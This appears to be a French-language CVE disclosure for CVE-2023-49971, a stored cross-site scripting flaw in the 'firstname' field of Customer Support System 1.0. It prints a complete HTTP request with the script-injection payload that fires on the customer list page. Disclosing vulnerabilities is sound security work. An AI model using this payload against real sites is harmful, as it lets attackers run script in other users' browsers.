geraldoalcantara/cve-2023-49971Customer Support System 1.0 - (XSS) Vulnérabilité de type Cross-Site Scripting dans le paramètre "firstname" sur "customer_list"
Description: Customer Support System 1.0 est vulnérable au XSS stocké. Une vulnérabilité XSS existe dans la version 1 du Customer Support System. Un acteur malveillant peut insérer du code JavaScript via le champ/paramètre "firstname" lors de la modification/création d'un client. Le code est exécuté à chaque visite de la page "/customer_support/index.php?page=customer_list".
Version du produit vulnérable: Customer Support System 1.0
Auteur du CVE: Geraldo Alcântara
Date: 28/11/2023
Confirmé le: 19/12/2023
CVE: CVE-2023-49971
Testé sur: Windows
POST /customer_support/ajax.php?action=save_customer HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------212391604122778812451614149575
Content-Length: 1149
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_customer
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="id"
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="firstname"
teste</dt></b><script>alert(document.domain)</script>
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Content-Disposition: form-data; name="middlename"
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="lastname"
xss
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Content-Disposition: form-data; name="contact"
210
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="address"
asdasd
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Content-Disposition: form-data; name="email"
[email protected]
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Content-Disposition: form-data; name="password"
xss
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Content-Disposition: form-data; name="cpass"
xss
-----------------------------212391604122778812451614149575--
Découvreur(s)/Crédits:
Geraldo Alcântara